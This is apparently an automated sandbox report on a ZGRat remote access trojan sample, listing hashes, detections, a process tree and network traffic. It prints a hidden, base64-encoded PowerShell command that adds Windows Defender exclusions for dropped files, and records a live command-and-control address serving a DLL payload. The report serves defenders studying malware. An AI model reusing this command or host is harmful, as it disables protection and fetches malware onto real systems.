zgrat | cd2cc1403cb829e7d7454a3a80d9875834bd3b0837e56493369f2d842bf3f569

Resubmissions

03/01/2024, 11:37 UTC

240103-nrgycafdf4 10

03/01/2024, 11:18 UTC

240103-nd9q7scgfm 10

Analysis

max time kernel
153s
max time network
141s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
03/01/2024, 11:18 UTC

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General

Target

Debug.exe
Size

631KB
MD5

eec03d362a4c66fe6ac8064ae68bda50
SHA1

8aa051b9c7f201eb9504fb7023bbc5ffa2458293
SHA256

cd2cc1403cb829e7d7454a3a80d9875834bd3b0837e56493369f2d842bf3f569
SHA512

e6f07b5171fee9fa534f57376aaf6061e541da4ad9cee2e50b3d2ee3eed7cd2d0ed2942a479e8887dc7e4247e969b081b5ebef758854e7c62be35e2af49a8f2d
SSDEEP

12288:vEZR29MfzdOwMI5F09MyMeWR+KSS2g/Pd35/K9TGH4CaxJDua:MZR29Mfzdu6LyZTIdJ/K98n6u

Score

10^/10

zgrat rat

Malware Config

Signatures

Detect ZGRat V1 1 IoCs

resource	yara_rule
behavioral1/memory/1984-3-0x00000000023A0000-0x00000000024A2000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Executes dropped EXE 1 IoCs

pid	Process
1360	Name.exe

Loads dropped DLL 1 IoCs

pid	Process
1256	taskeng.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1360 set thread context of 3068	1360	Name.exe	36

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2868	powershell.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe
3068	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1984	Debug.exe
Token: SeDebugPrivilege	2868	powershell.exe
Token: SeDebugPrivilege	1360	Name.exe
Token: SeDebugPrivilege	3068	RegAsm.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2948 wrote to memory of 2868	2948	taskeng.exe	32
PID 2948 wrote to memory of 2868	2948	taskeng.exe	32
PID 2948 wrote to memory of 2868	2948	taskeng.exe	32
PID 1256 wrote to memory of 1360	1256	taskeng.exe	35
PID 1256 wrote to memory of 1360	1256	taskeng.exe	35
PID 1256 wrote to memory of 1360	1256	taskeng.exe	35
PID 1360 wrote to memory of 3068	1360	Name.exe	36
PID 1360 wrote to memory of 3068	1360	Name.exe	36
PID 1360 wrote to memory of 3068	1360	Name.exe	36
PID 1360 wrote to memory of 3068	1360	Name.exe	36
PID 1360 wrote to memory of 3068	1360	Name.exe	36
PID 1360 wrote to memory of 3068	1360	Name.exe	36
PID 1360 wrote to memory of 3068	1360	Name.exe	36

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Debug.exe
"C:\Users\Admin\AppData\Local\Temp\Debug.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1984

C:\Windows\system32\taskeng.exe
taskeng.exe {8D3E31BC-6026-4F0D-AC2A-E1867819FB44} S-1-5-21-452311807-3713411997-1028535425-1000:OZEMQECW\Admin:S4U:
1⤵
- Suspicious use of WriteProcessMemory
PID:2948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARABlAGYAYQB1AGwAdABcAE4AYQBtAGUALgBlAHgAZQAsAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUAIAAtAEYAbwByAGMAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAEQAZQBmAGEAdQBsAHQAXABOAGEAbQBlAC4AZQB4AGUA
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2868

C:\Windows\system32\taskeng.exe
taskeng.exe {9A760D98-360A-44D8-BA0F-A67F04D5E1AE} S-1-5-21-452311807-3713411997-1028535425-1000:OZEMQECW\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1256
- C:\Users\Admin\AppData\Roaming\Default\Name.exe
  C:\Users\Admin\AppData\Roaming\Default\Name.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1360
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3068

Network

GET

http://91.92.246.154/plugin3.dll

RegAsm.exe

Remote address:

91.92.246.154:80

Request

GET /plugin3.dll HTTP/1.1
Host: 91.92.246.154
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Date: Wed, 03 Jan 2024 11:19:36 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Last-Modified: Fri, 15 Dec 2023 15:11:23 GMT
ETag: "23f2d8-60c8dd03f4af7"
Accept-Ranges: bytes
Content-Length: 2355928
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-msdownload

91.92.246.154:39001

RegAsm.exe

496 B
680 B
8
6
91.92.246.154:80

http://91.92.246.154/plugin3.dll

http

RegAsm.exe

50.6kB
2.5MB
1070
1775

HTTP Request

GET http://91.92.246.154/plugin3.dll

HTTP Response

200

No results found

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

\Users\Admin\AppData\Roaming\Default\Name.exe

Filesize
631KB

MD5
eec03d362a4c66fe6ac8064ae68bda50

SHA1
8aa051b9c7f201eb9504fb7023bbc5ffa2458293

SHA256
cd2cc1403cb829e7d7454a3a80d9875834bd3b0837e56493369f2d842bf3f569

SHA512
e6f07b5171fee9fa534f57376aaf6061e541da4ad9cee2e50b3d2ee3eed7cd2d0ed2942a479e8887dc7e4247e969b081b5ebef758854e7c62be35e2af49a8f2d

Download Submit
memory/1360-29-0x000007FEF50C0000-0x000007FEF5AAC000-memory.dmp

Filesize
9.9MB

Download
memory/1360-38-0x000000001BB70000-0x000000001BBF0000-memory.dmp

Filesize
512KB

Download
memory/1360-28-0x000000013F9A0000-0x000000013FA42000-memory.dmp

Filesize
648KB

Download
memory/1360-33-0x000000001BB70000-0x000000001BBF0000-memory.dmp

Filesize
512KB

Download
memory/1360-41-0x000007FEF50C0000-0x000007FEF5AAC000-memory.dmp

Filesize
9.9MB

Download
memory/1360-30-0x000000001BB70000-0x000000001BBF0000-memory.dmp

Filesize
512KB

Download
memory/1984-2-0x000000001B1E0000-0x000000001B260000-memory.dmp

Filesize
512KB

Download
memory/1984-6-0x000000001B100000-0x000000001B154000-memory.dmp

Filesize
336KB

Download
memory/1984-5-0x00000000024A0000-0x00000000024EC000-memory.dmp

Filesize
304KB

Download
memory/1984-0-0x000000013F0B0000-0x000000013F152000-memory.dmp

Filesize
648KB

Download
memory/1984-4-0x00000000022C0000-0x0000000002316000-memory.dmp

Filesize
344KB

Download
memory/1984-22-0x000007FEF5AB0000-0x000007FEF649C000-memory.dmp

Filesize
9.9MB

Download
memory/1984-3-0x00000000023A0000-0x00000000024A2000-memory.dmp

Filesize
1.0MB

Download
memory/1984-1-0x000007FEF5AB0000-0x000007FEF649C000-memory.dmp

Filesize
9.9MB

Download
memory/1984-23-0x000007FEF5AB0000-0x000007FEF649C000-memory.dmp

Filesize
9.9MB

Download
memory/2868-14-0x0000000001430000-0x00000000014B0000-memory.dmp

Filesize
512KB

Download
memory/2868-19-0x000007FEEF600000-0x000007FEEFF9D000-memory.dmp

Filesize
9.6MB

Download
memory/2868-18-0x0000000001430000-0x00000000014B0000-memory.dmp

Filesize
512KB

Download
memory/2868-16-0x0000000001430000-0x00000000014B0000-memory.dmp

Filesize
512KB

Download
memory/2868-17-0x0000000001430000-0x00000000014B0000-memory.dmp

Filesize
512KB

Download
memory/2868-15-0x000007FEEF600000-0x000007FEEFF9D000-memory.dmp

Filesize
9.6MB

Download
memory/2868-11-0x0000000019E60000-0x000000001A142000-memory.dmp

Filesize
2.9MB

Download
memory/2868-13-0x000007FEEF600000-0x000007FEEFF9D000-memory.dmp

Filesize
9.6MB

Download
memory/2868-12-0x0000000001100000-0x0000000001108000-memory.dmp

Filesize
32KB

Download
memory/3068-37-0x0000000140000000-0x00000001400A2000-memory.dmp

Filesize
648KB

Download
memory/3068-44-0x0000000000140000-0x00000000001C0000-memory.dmp

Filesize
512KB

Download
memory/3068-34-0x0000000140000000-0x00000001400A2000-memory.dmp

Filesize
648KB

Download
memory/3068-32-0x0000000140000000-0x00000001400A2000-memory.dmp

Filesize
648KB

Download
memory/3068-31-0x0000000140000000-0x00000001400A2000-memory.dmp

Filesize
648KB

Download
memory/3068-42-0x000007FEF50C0000-0x000007FEF5AAC000-memory.dmp

Filesize
9.9MB

Download
memory/3068-43-0x0000000000140000-0x00000000001C0000-memory.dmp

Filesize
512KB

Download
memory/3068-35-0x000007FFFFFD4000-0x000007FFFFFD5000-memory.dmp

Filesize
4KB

Download
memory/3068-45-0x0000000000140000-0x00000000001C0000-memory.dmp

Filesize
512KB

Download
memory/3068-46-0x0000000000140000-0x00000000001C0000-memory.dmp

Filesize
512KB

Download
memory/3068-47-0x000007FEF50C0000-0x000007FEF5AAC000-memory.dmp

Filesize
9.9MB

Download
memory/3068-48-0x0000000000140000-0x00000000001C0000-memory.dmp

Filesize
512KB

Download
memory/3068-49-0x0000000000140000-0x00000000001C0000-memory.dmp

Filesize
512KB

Download
memory/3068-50-0x0000000000140000-0x00000000001C0000-memory.dmp

Filesize
512KB

Download
memory/3068-51-0x0000000000140000-0x00000000001C0000-memory.dmp

Filesize
512KB

Download